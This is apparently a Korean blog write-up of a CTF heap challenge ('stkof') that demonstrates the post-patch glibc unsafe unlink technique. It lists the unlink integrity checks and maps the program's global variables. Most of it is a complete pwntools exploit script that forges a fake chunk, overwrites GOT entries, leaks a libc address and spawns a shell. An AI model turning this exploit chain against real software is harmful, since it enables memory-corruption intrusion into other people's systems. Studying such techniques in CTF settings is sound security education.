그동안은 패치되기 전의 unsafe unlink 만 공부해왔다면
이제는 패치된 후의 unsafe unlink 를 풀어보도록 한다. (얼떨결에 이런 문제가 얻어걸려서 공부하기 좋은 기회라고 생각한다.)
how2heap 의 usnafe unlink 에 대해서 공부를 한 뒤에 문제를 풀어봐야겠다.
how2heap 에 너무 자세하고 예술일 정도로 잘 나와 있으므로 문서를 좀 정리해봐야겠다.
https://www.lazenca.net/display/TEC/unsafe+unlink 여기 문서에 너무나 자세히 설명해 있다. (꼭 정독하기 바람 두번 세번)
http://code1018.tistory.com/195 여기도 같이 참고하면 좋을거 같다.
전체적인 Exploit plan 은 다음과 같다.
다음과 같은 방법으로 공격할 수 있습니다.
FD->bk != P || BK->fd != P
chunksize(P) != prev_size (next_chunk(P)
|
이를 바탕으로 익스플로잇 작성을 진행해본다.
첫 번째 제약조건을 해결하기 위해 글로벌 변수가 저장되어 있는 위치를 찾아야 한다.
0x602130 |
AAAAAAAA |
|
0x602140 |
AAAAAAAA |
strlen@got |
0x602150 |
0x602158 |
fgets@got |
0x602160 |
0x602168 |
"/bin/sh\x00" |
0x602170 |
print "-------------"
print hex(e.plt["printf"])
print hex(e.got["printf"])
print "-------------"
|
-------------
printf@plt -> 0x4007a0
printf@got(?) ->0x602040
-------------
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 | from pwn import * p = process('./stkof') e = ELF('./stkof') target = 0x602150 def malloc(size): p.sendline('1') p.sendline(str(size)) print p.recvuntil('OK') def modify(index, size, data): p.sendline('2') p.sendline(str(index)) p.sendline(str(size+1)) p.sendline(data) print p.recvuntil('OK') def free(index): p.sendline('3') p.sendline(str(index)) print p.recvuntil('OK') malloc(0x80) malloc(0x80) malloc(0x80) malloc(0x80) payload = p64(0)*2 # heap2(fake_chunk) : prev_size, size payload += p64(target -0x18) + p64(target -0x10) #fake_chunk : fd, bk payload += "A" * 0x60 #fake_chunk : Data... payload += p64(0x80) + p64(0x90) #heap3 : prev_size, size(PREV_INUSE:0) modify(2,len(payload),payload) free(3) #0x602150[0] : 0x602138 payload = "A" * 0x10 payload += p64(e.got["strlen"]) payload += p64(0x602158) payload += p64(e.got["fgets"]) payload += p64(0x602168) payload += "/bin/sh\x00" modify(2, len(payload), payload) modify(1, 8, p64(e.plt["printf"])) print "-------------" print hex(e.plt["printf"]) print hex(e.got["printf"]) print "-------------" p.sendline("4") p.sendline("3") print (p.recv(1)) leak = u64(p.recv(6).ljust(8,"\x00")) print hex(leak) system = leak - 0x28740 print hex(system) modify(1, 8, p64(system)) p.sendline("4") p.sendline("4") p.interactive() | cs |
'공부는 계속 .. > Pwnable Writeup' 카테고리의 다른 글
DEFCON CTF Qual 2017 beatmeonthedl (0) | 2018.03.20 |
---|---|
defcon 2014 Baby_first_heap (0) | 2018.03.14 |
heap 문제 풀이 목록 (0) | 2018.03.13 |
Codegate 2017 messenger (0) | 2018.03.01 |
Plaid CTF 2014 ezhp (0) | 2018.03.01 |